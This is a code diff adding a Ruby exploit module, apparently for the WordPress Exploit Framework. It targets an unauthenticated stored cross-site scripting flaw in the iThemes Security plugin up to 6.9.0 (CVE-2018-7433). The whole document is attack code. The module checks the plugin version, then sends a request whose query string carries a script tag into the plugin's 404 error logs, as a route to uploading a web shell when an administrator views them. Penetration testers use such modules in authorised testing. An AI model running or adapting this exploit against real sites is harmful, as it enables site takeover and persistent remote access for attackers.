Add iThemes Security <= 6.9.0 stored XSS shell upload

Author: rastating

modules/exploit/xss/stored/ithemes_security_v6.9.0_stored_xss_shell_upload.rb

@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+class Wpxf::Exploit::IthemesSecurityV690StoredXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StoredXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'iThemes Security <= 6.9.0 Unauthenticated Stored XSS Shell Upload',
+      author: [
+        'Paweł Kuryłowicz', # Disclosure
+        'rastating'         # WPXF module
+      ],
+      references: [
+        ['WPVDB', '9037'],
+        ['CVE', '2018-7433']
+      ],
+      date: 'Oct 06 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('better-wp-security', '6.9.1')
+  end
+
+  def expected_status_code_after_store
+    404
+  end
+
+  def vulnerable_page
+    'the 404 error logs'
+  end
+
+  def store_script
+    execute_get_request(
+      url: "#{full_uri}?p=#{Wpxf::Utility::Text.rand_numeric(11)}&<script>#{xss_include_script}</script>"
+    )
+  end
+end